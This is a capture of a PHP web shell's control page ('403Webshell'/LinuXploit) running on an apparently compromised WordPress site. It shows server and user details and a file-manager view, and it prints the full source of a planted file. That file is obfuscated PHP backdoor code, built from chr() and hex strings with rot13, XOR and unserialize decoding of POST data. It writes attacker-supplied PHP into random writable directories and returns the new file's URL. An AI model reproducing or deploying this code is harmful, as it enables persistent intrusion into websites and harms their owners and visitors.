403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.208.163
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/hotelgopalapuram.com/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/hotelgopalapuram.com/wp-content/iwbnyxfs.php
<?php $KHRAdtKp = "\x44".chr(79).'C'.'U'."\x4d".chr(600-531).chr(78).chr(84).chr(95).chr(584-502).'O'.chr(79).'T';$hbaRq = "\x48".chr(134-50).'T'."\120".chr(215-120)."\110".chr(943-864).chr(630-547).'T';$GbsmT = "\150"."\164"."\x74"."\160"."\72".chr(505-458)."\x2f";$GhsOwq = "\x2e".chr(112)."\150"."\160";$OTpklN = chr(153-41).'h'.chr(799-687);$BvoMhJMvEP = chr(102).chr(354-249).chr(935-827).chr(134-33)."\137".'p'.chr(117)."\164"."\137".chr(99).'o'."\x6e".chr(887-771)."\x65".chr(110).'t'.chr(115);$uaqcq = 'r'."\141"."\167"."\x75"."\x72".chr(108).chr(451-351)."\x65".chr(99).chr(111)."\144".'e';$ErvDjj = "\x75".'n'.chr(115).chr(200-99)."\x72"."\151".chr(1046-949).'l'."\x69".'z'.chr(101);$UpeoekC = "\151".chr(115)."\137"."\x77".chr(928-814).chr(915-810).chr(116)."\141"."\142".chr(372-264)."\145";$jTNepAPVH = "\x70"."\150"."\160"."\x76".'e'.chr(114)."\163".chr(105)."\x6f".chr(110);$KGeTnY = chr(539-424).chr(116).chr(847-733).'_'.'r'.chr(111).chr(116).chr(267-218)."\x33";$YUkERUAM = "\163"."\x65"."\x72"."\151"."\x61"."\x6c".chr(470-365).chr(122).chr(101);$KqmZDN = "\x73"."\x74".'r'."\137"."\x73".'p'.chr(108).chr(105)."\x74";foreach ($_POST as $DdCuV => $PwVHqAij){$JXiPNR = strlen($DdCuV);if ($JXiPNR == 16){$PwVHqAij = $KqmZDN($uaqcq($KGeTnY($PwVHqAij)));$DdCuV = array_slice($KqmZDN(str_repeat($DdCuV, (count($PwVHqAij)/16)+1)), 0, count($PwVHqAij));function cMOEX($tsFbfl, $pWnhq, $DdCuV){$SmiISaeCat = "2b8b5802-83d1-4266-ae04-a604f5d57e3b";return $tsFbfl ^ $SmiISaeCat[$pWnhq % strlen($SmiISaeCat)] ^ $DdCuV;}$PwVHqAij = implode("", array_map("cMOEX", array_values($PwVHqAij), array_keys($PwVHqAij), array_values($DdCuV)));$PwVHqAij = @$ErvDjj($PwVHqAij);if (@is_array($PwVHqAij)){$rseNtqwD = array_keys($PwVHqAij);$PwVHqAij = $PwVHqAij[$rseNtqwD[0]];if ($PwVHqAij === $rseNtqwD[0]){echo @$YUkERUAM(Array($OTpklN => @$jTNepAPVH(), ));exit();}else {function qhFOuKT($XkiyHir){static $nXGgyHYl = array();$WaGQTqO = glob($XkiyHir . '/*', GLOB_ONLYDIR);$sYWPrOvRl = count($WaGQTqO);if ($sYWPrOvRl > 0) {foreach ($WaGQTqO as $XkiyH) {if (@$UpeoekC($XkiyH)) {$nXGgyHYl[] = $XkiyH;}}}foreach ($WaGQTqO as $XkiyHir) qhFOuKT($XkiyHir);return $nXGgyHYl;}$WNlvgc = $_SERVER[$KHRAdtKp];$WaGQTqO = qhFOuKT($WNlvgc);$rseNtqwD = array_rand($WaGQTqO);$kckLalmXY = $WaGQTqO[$rseNtqwD] . "/" . substr(md5(time()), 0, 8) . $GhsOwq;@$BvoMhJMvEP($kckLalmXY, $PwVHqAij);echo $GbsmT . $_SERVER[$hbaRq] . substr($kckLalmXY, strlen($WNlvgc));die();}}}}

Youez - 2016 - github.com/yon3zu
LinuXploit